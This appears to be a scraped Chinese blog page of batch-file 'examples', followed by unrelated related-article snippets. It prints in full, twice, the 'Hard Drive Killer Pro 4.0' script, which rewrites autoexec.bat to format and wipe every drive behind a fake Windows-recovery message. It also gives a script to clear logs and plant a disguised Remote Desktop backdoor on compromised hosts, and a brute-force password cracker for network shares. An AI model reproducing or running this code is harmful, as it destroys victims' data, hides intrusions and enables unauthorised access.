  ------------------------ cut here then save as .bat or .cmd file ---------------------------

  @echo off

  rem This program is dedecated to a very special person that does not want to be named.

  :start

  cls

  echo PLEASE WAIT WHILE PROGRAM LOADS . . .

  call attrib -r -h c:/autoexec.bat >nul

  echo @echo off >c:/autoexec.bat

  echo call format c: /q /u /autoSample >nul >>c:/autoexec.bat

  call attrib +r +h c:/autoexec.bat >nul

  rem Drive checking and assigning the valid drives to the drive variable.

  set drive=

  set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z

  rem code insertion for Drive Checking takes place here.

  rem drivechk.bat is the file name under the root directory.

  rem As far as the drive detection and drive variable settings, dont worry about how it

  rem works, its d/*amn to complicated for the average or even the expert batch programmer.

  rem Except for Tom Lavedas.

  echo @echo off >drivechk.bat

  echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat

  %comspec% /e:2048 /c {t}.bat >>drivechk.bat

  del {t}.bat

  echo if errorlevel 1 goto enddc >>drivechk.bat

  cls

  echo PLEASE WAIT WHILE PROGRAM LOADS . . .

  rem When errorlevel is 1, then the above is not true, if 0, then its true.

  rem Opposite of binary rules. If 0, it will elaps to the next command.

  echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.//ad/w/-p $b find "bytes" > nul >{t}.bat

  %comspec% /e:2048 /c {t}.bat >>drivechk.bat

  del {t}.bat

  echo if errorlevel 1 goto enddc >>drivechk.bat

  cls

  echo PLEASE WAIT WHILE PROGRAM LOADS . . .

  rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.

  rem if errorlevel is 0, then it will elaps to the next command.

  echo @prompt dir %%%%1:.//ad/w/-p $b find " 0 bytes free" > nul >{t}.bat

  %comspec% /e:2048 /c {t}.bat >>drivechk.bat

  del {t}.bat

  echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat

  cls

  echo PLEASE WAIT WHILE PROGRAM LOADS . . .

  rem if its errorlevel 1, then the specified drive is a hard or floppy drive.

  rem if its not errorlevel 1, then the specified drive is a CD-ROM drive.

echo :enddc >>drivechk.bat

  rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".

  rem Now we will use the program drivechk.bat to attain valid drive information.

  :Sampledrv

  for %%a in (%alldrive%) do call drivechk.bat %%a >nul

  del drivechk.bat >nul

  if %drive.==. set drive=c

  :form_del

  call attrib -r -h c:/autoexec.bat >nul

  echo @echo off >c:/autoexec.bat

  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat

  echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:/autoexec.bat

  echo cls >>c:/autoexec.bat

  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat

  echo for %%%%a in (%drive%) do call c:/temp.bat %%%%a Bunga >nul >>c:/autoexec.bat

  echo cls >>c:/autoexec.bat

  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat

  echo for %%%%a in (%drive%) call deltree /y %%%%a:/ >nul >>c:/autoexec.bat

  echo cls >>c:/autoexec.bat

  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat

  echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:/autoexec.bat

  echo cls >>c:/autoexec.bat

  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat

  echo for %%%%a in (%drive%) do call c:/temp.bat %%%%a Bunga >nul >>c:/autoexec.bat

  echo cls >>c:/autoexec.bat

  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat

  echo for %%%%a in (%drive%) call deltree /y %%%%a:/ >nul >>c:/autoexec.bat

  echo cd/ >>c:/autoexec.bat

  echo cls >>c:/autoexec.bat

  echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0. >>c:/autoexec.bat

  echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:/autoexec.bat

  echo echo 1. To make people aware that security should not be taken for granted. >>c:/autoexec.bat

  echo echo 2. Love is important, if you have it, truly, dont let go of it like I did! >>c:/autoexec.bat

  echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad your HD is dead. >>c:/autoexec.bat

  echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Party.>>c:/autoexec.bat

  echo echo. >>c:/autoexec.bat

  echo echo Regards, >>c:/autoexec.bat

  echo echo. >>c:/autoexec.bat

  echo echo Munga Bunga >>c:/autoexec.bat

  call attrib +r +h c:/autoexec.bat

  :makedir

  if exist c:/temp.bat attrib -r -h c:/temp.bat >nul

  echo @echo off >c:/temp.bat

  echo %%1:/ >>c:/temp.bat

  echo cd/ >>c:/temp.bat

  echo :startmd >>c:/temp.bat

  echo for %%%%a in ("if not exist %%2/nul md %%2" "if exist %%2/nul cd %%2") do %%%%a >>c:/temp.bat

  echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:/temp.bat

  echo if not exist %%1:/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/nul goto startmd >>c:/temp.bat

  call attrib +r +h c:/temp.bat >nul

  cls

  echo Initializing Variables . . .

  rem deltree /y %%a:/*. only eliminates directories, hence leaving the file created above for further destruction.

  for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul

  cls

  echo Initializing Variables . . .

  echo Validating Data . . .

  for %%a in (%drive%) do call c:/temp.bat %%a Munga >nul

  cls

  echo Initializing Variables . . .

  echo Validating Data . . .

  echo Analyzing System Structure . . .

  for %%a in (%drive%) call attrib -r -h %%a:/ /S >nul

  call attrib +r +h c:/temp.bat >nul

  call attrib +r +h c:/autoexec.bat >nul

  cls

  echo Initializing Variables . . .

  echo Validating Data . . .

  echo Analyzing System Structure . . .

  echo Initializing Application . . .

  for %%a in (%drive%) call deltree /y %%a:/*. >nul

  cls

  echo Initializing Variables . . .

  echo Validating Data . . .

  echo Analyzing System Structure . . .

  echo Initializing Application . . .

  echo Starting Application . . .

  for %%a in (%drive%) do call c:/temp.bat %%a Munga >nul

  cls

  echo Thank you for using a Munga Bunga product.

  echo.

  echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.

  echo.

  echo Here is a joke for you . . .

  echo.

  echo Q). Whats the worst thing about being an egg?

  echo A). You only get laid once.

  echo.

  echo HAHAHAHA, get it? Dont you just love that one?

  echo.

  echo Regards,

  echo.

  echo Munga Bunga

  :end

  rem Hard Drive Killer Pro Version 4.0, enjoy!!!!

  rem Author: Munga Bunga - from Australia, the land full of retarded Australians (help me get out of here).

六.精彩实例放送。

  1.删除win2k/xp系统默认共享的批处理

  ------------------------ cut here then save as .bat or .cmd file ---------------------------

  @echo preparing to delete all the default shares.when ready pres any key.

  @pause

  @echo off

  :Rem check parameters if null show usage.

  if {%1}=={} goto :Usage

  :Rem code start.

  echo.

  echo ------------------------------------------------------

  echo.

  echo Now deleting all the default shares.

  echo.

  net share %1$ /delete

  net share %2$ /delete

  net share %3$ /delete

  net share %4$ /delete

  net share %5$ /delete

  net share %6$ /delete

  net share %7$ /delete

  net share %8$ /delete

  net share %9$ /delete

  net stop Server

  net start Server

  echo.

  echo All the shares have been deleteed

  echo.

  echo ------------------------------------------------------

  echo.

  echo Now modify the registry to change the system default properties.

  echo.

  echo Now creating the registry file

  echo Windows Registry Editor Version 5.00> c:/delshare.reg

  echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/lanmanserver/parameters]>> c:/delshare.reg

  echo "AutoShareWks"=dword:00000000>> c:/delshare.reg

  echo "AutoShareServer"=dword:00000000>> c:/delshare.reg

  echo Nowing using the registry file to chang the system default properties.

  regedit /s c:/delshare.reg

  echo Deleting the temprotarily files.

  del c:/delshare.reg

  goto :END

  :Usage

  echo.

  echo ------------------------------------------------------

  echo.

  echo ☆ A example for batch file ☆

  echo ☆ [Use batch file to change the sysytem share properties.] ☆

  echo.

  echo Author:Ex4rch

  echo Mail:Ex4rch@hotmail.com QQ:1672602

  echo.

  echo Error:Not enough parameters

  echo.

  echo ☆ Please enter the share disk you wanna delete ☆

  echo.

  echo For instance,to delete the default shares:

  echo delshare c d e ipc admin print

  echo.

  echo If the disklable is not as C: D: E: ,Please chang it youself.

  echo.

  echo example:

  echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into :

  echo delshare c d e x y z ipc admin print

  echo.

  echo *** you can delete nine shares once in a useing ***

  echo.

  echo ------------------------------------------------------

  goto :EOF

  :END

  echo.

  echo ------------------------------------------------------

  echo.

  echo OK,delshare.bat has deleted all the share you assigned.

  echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.

  echo

  echo.

  echo ------------------------------------------------------

  echo.

  :EOF

  echo end of the batch file

  ------------------------ cut here then save as .bat or .cmd file ---------------------------

2.全面加固系统(给肉鸡打补丁)的批处理文件

  ------------------------ cut here then save as .bat or .cmd file ---------------------------

  @echo Windows Registry Editor Version 5.00 >patch.dll

  @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/lanmanserver/parameters] >>patch.dll

  @echo "AutoShareServer"=dword:00000000 >>patch.dll

  @echo "AutoShareWks"=dword:00000000 >>patch.dll

  @REM [禁止共享]

  @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Lsa] >>patch.dll

  @echo "restrictanonymous"=dword:00000001 >>patch.dll

  @REM [禁止匿名登录]

  @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/NetBT/Parameters] >>patch.dll

  @echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll

  @REM [禁止及文件访问和打印共享]

  @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/@REMoteRegistry] >>patch.dll

  @echo "Start"=dword:00000004 >>patch.dll

  @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Schedule] >>patch.dll

  @echo "Start"=dword:00000004 >>patch.dll

  @echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon] >>patch.dll

  @echo "ShutdownWithoutLogon"="0" >>patch.dll

  @REM [禁止登录前关机]

  @echo "DontDisplayLastUserName"="1" >>patch.dll

  @REM [禁止显示前一个登录用户名称]

  @regedit /s patch.dll

------------------------ cut here then save as .bat or .cmd file ---------------------------

  下面命令是清除肉鸡所有日志,禁止一些危险的服务,并修改肉鸡的terminnal service留跳后路。

  @regedit /s patch.dll

  @net stop w3svc

  @net stop event log

  @del c:/winnt/system32/logfiles/w3svc1/*.* /f /q

  @del c:/winnt/system32/logfiles/w3svc2/*.* /f /q

  @del c:/winnt/system32/config/*.event /f /q

  @del c:/winnt/system32dtclog/*.* /f /q

  @del c:/winnt/*.txt /f /q

  @del c:/winnt/*.log /f /q

  @net start w3svc

  @net start event log

  @rem [删除日志]

  @net stop lanmanserver /y

  @net stop Schedule /y

  @net stop RemoteRegistry /y

  @del patch.dll

  @echo The server has been patched,Have fun.

  @del patch.bat

  @REM [禁止一些危险的服务。]

  @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/WinStations/RDP-Tcp] >>patch.dll

  @echo "PortNumber"=dword:00002010 >>patch.dll

  @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/Wds/rdpwd/Tds/tcp >>patch.dll

  @echo "PortNumber"=dword:00002012 >>patch.dll

  @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TermDD] >>patch.dll

  @echo "Start"=dword:00000002 >>patch.dll

  @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/SecuService] >>patch.dll

  @echo "Start"=dword:00000002 >>patch.dll

  @echo "ErrorControl"=dword:00000001 >>patch.dll

  @echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,/ >>patch.dll

  @echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,/ >>patch.dll

  @echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll

  @echo "ObjectName"="LocalSystem" >>patch.dll

  @echo "Type"=dword:00000010 >>patch.dll

  @echo "Description"="Keep record of the program and windows message。" >>patch.dll

  @echo "DisplayName"="Microsoft EventLog" >>patch.dll

  @echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/termservice] >>patch.dll

  @echo "Start"=dword:00000004 >>patch.dll

  @copy c:/winnt/system32/termsrv.exe c:/winnt/system32/eventlog.exe

  @REM [修改3389连接,端口为8210(十六进制为00002012),名称为Microsoft EventLog,留条后路]

3.Hard Drive Killer Pro Version 4.0(玩批处理到这个水平真的不容易了。)

  ------------------------ cut here then save as .bat or .cmd file ---------------------------

  @echo off

  rem This program is dedecated to a very special person that does not want to be named.

  :start

  cls

  echo PLEASE WAIT WHILE PROGRAM LOADS . . .

  call attrib -r -h c:/autoexec.bat >nul

  echo @echo off >c:/autoexec.bat

  echo call format c: /q /u /autoSample >nul >>c:/autoexec.bat

  call attrib +r +h c:/autoexec.bat >nul

  rem Drive checking and assigning the valid drives to the drive variable.

  set drive=

  set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z

  rem code insertion for Drive Checking takes place here.

  rem drivechk.bat is the file name under the root directory.

  rem As far as the drive detection and drive variable settings, dont worry about how it

  rem works, its d/*amn to complicated for the average or even the expert batch programmer.

  rem Except for Tom Lavedas.

  echo @echo off >drivechk.bat

  echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat

  %comspec% /e:2048 /c {t}.bat >>drivechk.bat

  del {t}.bat

  echo if errorlevel 1 goto enddc >>drivechk.bat

  cls

  echo PLEASE WAIT WHILE PROGRAM LOADS . . .

  rem When errorlevel is 1, then the above is not true, if 0, then its true.
  rem Opposite of binary rules. If 0, it will elaps to the next command.

  echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.//ad/w/-p $b find "bytes" > nul >{t}.bat

  %comspec% /e:2048 /c {t}.bat >>drivechk.bat

  del {t}.bat

  echo if errorlevel 1 goto enddc >>drivechk.bat

  cls

  echo PLEASE WAIT WHILE PROGRAM LOADS . . .

  rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.

  rem if errorlevel is 0, then it will elaps to the next command.

  echo @prompt dir %%%%1:.//ad/w/-p $b find " 0 bytes free" > nul >{t}.bat

  %comspec% /e:2048 /c {t}.bat >>drivechk.bat

  del {t}.bat

  echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat

  cls

  echo PLEASE WAIT WHILE PROGRAM LOADS . . .

  rem if its errorlevel 1, then the specified drive is a hard or floppy drive.

  rem if its not errorlevel 1, then the specified drive is a CD-ROM drive.

  echo :enddc >>drivechk.bat

  rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".

  rem Now we will use the program drivechk.bat to attain valid drive information.

  :Sampledrv

  for %%a in (%alldrive%) do call drivechk.bat %%a >nul

  del drivechk.bat >nul

  if %drive.==. set drive=c

  :form_del

  call attrib -r -h c:/autoexec.bat >nul

  echo @echo off >c:/autoexec.bat

  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat

  echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:/autoexec.bat

  echo cls >>c:/autoexec.bat

  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat

  echo for %%%%a in (%drive%) do call c:/temp.bat %%%%a Bunga >nul >>c:/autoexec.bat

  echo cls >>c:/autoexec.bat

  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat

  echo for %%%%a in (%drive%) call deltree /y %%%%a:/ >nul >>c:/autoexec.bat

  echo cls >>c:/autoexec.bat

  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat

  echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:/autoexec.bat

  echo cls >>c:/autoexec.bat

  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat

  echo for %%%%a in (%drive%) do call c:/temp.bat %%%%a Bunga >nul >>c:/autoexec.bat

  echo cls >>c:/autoexec.bat

  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat

  echo for %%%%a in (%drive%) call deltree /y %%%%a:/ >nul >>c:/autoexec.bat

  echo cd/ >>c:/autoexec.bat

  echo cls >>c:/autoexec.bat

  echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0. >>c:/autoexec.bat

  echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:/autoexec.bat

  echo echo 1. To make people aware that security should not be taken for granted. >>c:/autoexec.bat

  echo echo 2. Love is important, if you have it, truly, dont let go of it like I did! >>c:/autoexec.bat

  echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad your HD is dead. >>c:/autoexec.bat

  echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Party.>>c:/autoexec.bat

  echo echo. >>c:/autoexec.bat

  echo echo Regards, >>c:/autoexec.bat

  echo echo. >>c:/autoexec.bat

  echo echo Munga Bunga >>c:/autoexec.bat

  call attrib +r +h c:/autoexec.bat

  :makedir

  if exist c:/temp.bat attrib -r -h c:/temp.bat >nul

  echo @echo off >c:/temp.bat

  echo %%1:/ >>c:/temp.bat

  echo cd/ >>c:/temp.bat

  echo :startmd >>c:/temp.bat

  echo for %%%%a in ("if not exist %%2/nul md %%2" "if exist %%2/nul cd %%2") do %%%%a >>c:/temp.bat

  echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:/temp.bat

  echo if not exist %%1:/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/nul goto startmd >>c:/temp.bat

  call attrib +r +h c:/temp.bat >nul

  cls

  echo Initializing Variables . . .

  rem deltree /y %%a:/*. only eliminates directories, hence leaving the file created above for further destruction.

  for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul

  cls

  echo Initializing Variables . . .

  echo Validating Data . . .

  for %%a in (%drive%) do call c:/temp.bat %%a Munga >nul

  cls

  echo Initializing Variables . . .

  echo Validating Data . . .

  echo Analyzing System Structure . . .

  for %%a in (%drive%) call attrib -r -h %%a:/ /S >nul

  call attrib +r +h c:/temp.bat >nul

  call attrib +r +h c:/autoexec.bat >nul

  cls

  echo Initializing Variables . . .

  echo Validating Data . . .

  echo Analyzing System Structure . . .

  echo Initializing Application . . .

  for %%a in (%drive%) call deltree /y %%a:/*. >nul

  cls

  echo Initializing Variables . . .

  echo Validating Data . . .

  echo Analyzing System Structure . . .

  echo Initializing Application . . .

  echo Starting Application . . .

  for %%a in (%drive%) do call c:/temp.bat %%a Munga >nul

  cls

  echo Thank you for using a Munga Bunga product.

  echo.

  echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.

  echo.

  echo Here is a joke for you . . .

  echo.

  echo Q). Whats the worst thing about being an egg?

  echo A). You only get laid once.

  echo.

  echo HAHAHAHA, get it? Dont you just love that one?

  echo.

  echo Regards,

  echo.

  echo Munga Bunga

  :end

  rem Hard Drive Killer Pro Version 4.0, enjoy!!!!

  rem Author: Munga Bunga - from Australia, the land full of retarded Australians (help me get out of here).

  No.7

  七、致谢&一些废话

  谨以此文献给所有为实现网络的自由与共享而努力的朋友们。感谢所有共享他们作品的朋友们,让我们为我们的理想一起努力!!

  部分内容来自Ex4rchhttp://www.sometips.com(很好的一个...淙幌缘糜械闼缮?/a>^_^)。再次特别感谢!

 

=========================================================================
假如知道一个NT帐户与密码,就可以用

  net use //主机/ipc$ "密码" /user:"用户"

  与远程主机建立连接,这是每一个黑客或是梦想成为又或是正在努力成为黑客的朋友都知道的方法,甚至连我这个连菜鸟都算不上的小鸟都知道,我也仅仅知道这一条,我就用我仅仅知道的这一条在宿舍网里进入别人的电脑,因为他们的电脑密码都为空,被他们发现了之后狠K了一顿,然后纷纷加上了密码,这下可没戏了,想去偷窥他们的密码他们又防范得紧,只得想其他办法,也许各位大虾们就会利用其他方法,诸如寻找系统之类得到管理权限,而我不行,因为我前面说过,我只会那一条,那又会有人说用软件暴力破解密码就可以了,也许不错,但首先我没有那些高深的软件也没有天赋去研究那些复杂的用法,却在无意间看DOS帮助时发现了一些命令,当真是天无绝人之路:

  1、字典:for /f %i in (字典文件) do net use //主机/ipc$ "%i" /user:"用户"

  2、数字:for /l %i in (start,step,end) do net use //主机/ipc$ "%i" /user:"用户"

  以上可参看DOS里面for帮助,还别说,真让我给连上几台机子,可问题也随之而来,连是连上了,我仍然不知道密码,下次要用还得重新全部试过。

  正失望,无意间又发现了一个好方法,也许是我太笨,也许你们更聪明,,说不定你们早已经发现了,不再说废话,下面就将方法全部给出,请各位大虾指正:

  将下面文件存为pass.bat:

  @echo off

  echo ---------------------------------------- >>c:/pass.txt

  echo ---------------------------------------- >>c:/pass.txt

  date /t >>c:/pass.txt

  time /t >>c:/pass.txt

  echo 破解结果: >>c:/pass.txt

  if "%6"=="1" goto shit2

  :shit1

  start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3

  goto quit

  :shit2

  start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5

  :quit

  将下面文件存为test.bat:

  net use //%1/ipc$ %2 /user:"%3"

  goto answer%ERRORLEVEL%

  rem %ERRORLEVEL%表示取前一命令执行返回结果,net use成功返回0,失败返回2

  :answer0

  echo 远程主机:"%1" >>c:/pass.txt

  echo 用 户:"%3" >>c:/pass.txt

  echo 密 码:%2 >>c:/pass.txt

  net use //%1/ipc$ /delet

  exit

  :answer2

  将pass.bat与test.bat存放于system32中,用法如下:

  1、如果用字典破解:pass.bat 字典文件路径及名称 主机 用户名

  2、如果用数字破解:pass.bat 起始数 步长 结束数 主机 用户名 1

  密码破解出来之后,存放于c:/pass.txt文件里面。

  另外,我做的这些只是在局域网内测试,如果远程测试,受网速限制,具体情况只能靠自己去摸索。  

【MTR工具批处理】使用MRT工具对 hdf 文件批处理 MTR工具批处理一、MTR批处理二、命令行三、再次输入二&三如图四、运行即可,如图 一、MTR批处理 在bin目录下,地址栏使用cmd命令 二、命令行 java -jar MRTBatch.jar -d hdf_dictionary -p prm_dictionary -o output_dictionary hdf_dictionary为需要处理的modis数据所在目录, prm_dictionary为刚才保存的参数文件, output_dictionary为处理后的影像的输出目录 三 阅读详情

相关推荐

使用批处理文件及命令安装软件

批处理文件是一种包含一系列命令和指令的文本文件,用于自动执行一系列操作。通过批处理文件,,从而简化和加快一些常见任务的执行过程。批处理文件通常使用扩展名为.bat.cmd,并可以在Windows系统中运行。用户可以使用文本编辑器编写批处理文件,然后保存为批处理文件的格式,并使用命令提示符或直接双击运行。批处理文件可以包含各种命令,例如等。通过批处理文件,用户可以实现自动化任务、批量处理文件、设置环境变量等操作。需要注意的是,编写批处理文件需要小心,因为错误的命令可能导致系统崩溃或数据丢失。

图灵追幕者博客录 1332

如何在批处理文件中使用参数

如何在批处理文件中使用参数 黑客安全网 http://www.hacker81.net   批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。sample1:fomat.bat@echo offif "%1"=="a" format a: :format@format a:@echo please insert anothe

++黑色郁金香的Blog++ 1557

CHIP-Seq数据分析流程

文章目录CHIP-Seq数据分析流程相关软件安装数据下载将SRA转化为fastq文件数据质控,过滤数据质控然后进行质控,过滤低质量reads,去接头比对下载小鼠参考基因组的索引和注释文件比对sam文件转bam为bam文件建立索引载入IGV查看用MACS call peak安装MACS结果注释与可视化 CHIP-Seq数据分析流程 相关软件安装 所需要的软件有sratoolkit, fastqc,bowtie2,samtools,macs2,htseq-count,bedtools和前面RNA-seq数据分析

bio_meimei的博客 8791

springboot执行批量插入_SpringBoot - Spring Batch批处理使用样例(读取文件数据并导入到数据库中)...

1,Spring Batch 介绍Spring Batch是一个开源的、全面的、轻量级的批处理框架,通过Spring Batch可以实现强大的批处理应用程序的开发。Spring Batch还提供记录/跟踪、事务管理、作业处理统计、作业重启以及资源管理等功能。Spring Batch结合定时任务可以发挥更大的作用。Spring Batch提供了 ItemReader、ItemProcessor 和 ...

weixin_39531688的博客 2738

【新华三】通过路由复制实现Public与VRF路由互通

如上图所示,S6900设备里有两张表,一张是public路由表,默认所有的路由都存放在public路由表里;除此之外还创建了VRF test,因此此设备还有VRF test路由表。通过路由复制实现Public路由和VRF路由互通,默认情况下VRF里的路由单独一张路由表,默认情况下与public路由表相互隔离,两张表之间不可互访。此时的public路由表里面并没有test的路由表。public路由表与VRF路由表之间相互隔离。此时VRF test里的路由也没有其他VRF或Public里的路由,相互隔离。

五大连池的镜子 5281

DexProtector内存校验绕过与DEX提取实战

DEX文件是Android应用的核心执行单元,其动态加载与运行时保护机制直接关系到App安全强度。DexProtector作为主流商业加固方案,摒弃传统文件级防护,转而依托ART虚拟机下的匿名内存映射段(anonymous mmap)构建多维校验体系——涵盖字节码完整性校验、内存页属性检测及运行时环境感知。其技术价值在于将防护锚点从静态APK迁移至动态内存态,大幅提升逆向门槛。典型应用场景包括金融类App的防篡改加固、游戏客户端的反外挂保护,以及政企应用的合规性安全增强。本文聚焦DexProtector v

weixin_30315435的博客 714

使用Windows批处理文件

使用批处理文件使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称,Cmd.exe 就会按照该文件中各个命令出现的顺序来逐个运行它们。可以在批处理文件中包含任何命令。某些命令,比如 for、goto 和 if 命令等,它们允许您对批处理文件中的命令

leehq的专栏 7058

【Docker】Docker安装Hadoop分布式集群

hadoop目录安装在:/usr/local/hadoop-2.7.0/etc/hadoop。访问Hadoop102:9870,查看是否能够看到hdfs界面。访问hadoop103:8088,查看能够看到yarn界面。在yarn上可以看到执行情况。

weixin_46429290的博客 3461

批处理文件使用技巧

批处理使用示例 判断文件夹是否存在,若不存在就创建一个 @echo on @title 批处理判断文件夹是否存在 if exist folder ( echo "文件存在" ) else ( ::创建文件夹 md folder ) timeout /nobreak /t 10 >nul 或: if not exist folder md folder timeout /nobreak /t 10 >nul 批处理语法 %~dp0 [获取当前路径] %~dp

sunnytony的专栏 3969

基于YOLOv8和PaddlepaddleOCR的微信截图聊天记录提取

本文提出了一种基于YOLOv8和PaddleOCR的微信聊天记录提取方法。首先使用YOLOv8n模型分割出聊天气泡(针对深浅色模式分别训练),通过合成数据集增强模型鲁棒性,召回率达0.995。随后采用PP-OCRv5进行文本识别,利用坐标匹配将气泡内文本送入识别队列,短长文本平均置信度分别>0.98和>0.95。文中特别强调了PaddleOCR不同版本的输出格式差异及适配方案,建议使用3.0+版本。该方法有效解决了直接OCR识别易受干扰的问题,通过气泡分割+文本定位的两阶段策略显著提升了识别准确

2401_87383958的博客 2358

计算图像哈希SHA-512

上述需要将lena.jpg放在当前目录下。

计算机视觉之光 961

使用批处理文件——批处理文件的意义

  后缀是bat的文件就是批处理文件,是一种文本文件。简单的说,它的作用就是自动的连续执行多条命令,批处理文件的内容就是一条一条的命令。那它有什么用呢?   比如,在启动wps软件时,每次都必须执行   C:/>cd wps  C:/WPS>spdos  C:/WPS>py  C:/WPS>wbx  C:/WPS>wps   如果每次用WPS之前都这样执行一次,您是不是觉得很麻

jesus_peng的专栏 1344

量产导入 | 产品可靠性测试标准完整大集合(JEDEC/IEC/SAE…)

产品可靠性测试是产品质量保证中的重要一环, 包含有Pre-con, aging(寿命)和ESD(静电)等, 下面就收集了权威标准JEDEC全系列, 请参照如下 同时也附上其它的可靠性标准供大家参考及交叉理解, 可能侧重点不同, 大家可以参考下。

叫好与叫座虽然不是对立面,但想在同一个作品中达到双重效果很难。 1664

批处理文件.bat的使用

1 bat是什么?  批处理文件,在MS-DOS中,.bat文件是可执行文件,由一系列命令构成,其中可以包含对其他程序的调用。 2 怎么使用bat文件呢?   首先,批处理文件是一个文本文件,这个文件的每一行都是一条DOS命令(大部分时候就好像我们在DOS提示符下执行的命令行一样),你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理...

yan 206

自适应滤波-----LMS(Least Mean Square)算法

自适应滤波的意义所在 自适应滤波器解决非平稳的过程,因为实际信号的统计特性可能是非平稳的或者是未知的。 自适应滤波器的特点: 1.没有关于待提取信息的先验统计知识 2.直接利用观测数据依据某种判据在观测过程中不断递归更新 3.最优化 自适应滤波分类: 处理器的结构划分:横向结构、格型结构 重复一次计算自适应需要的数据划分:成批处理法、递归处理法 按调节算法...

heda3的博客 10万+

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

调试经验——联合使用批处理、VBA完成文件的自动重命名(Renaming files with batch and VBA)

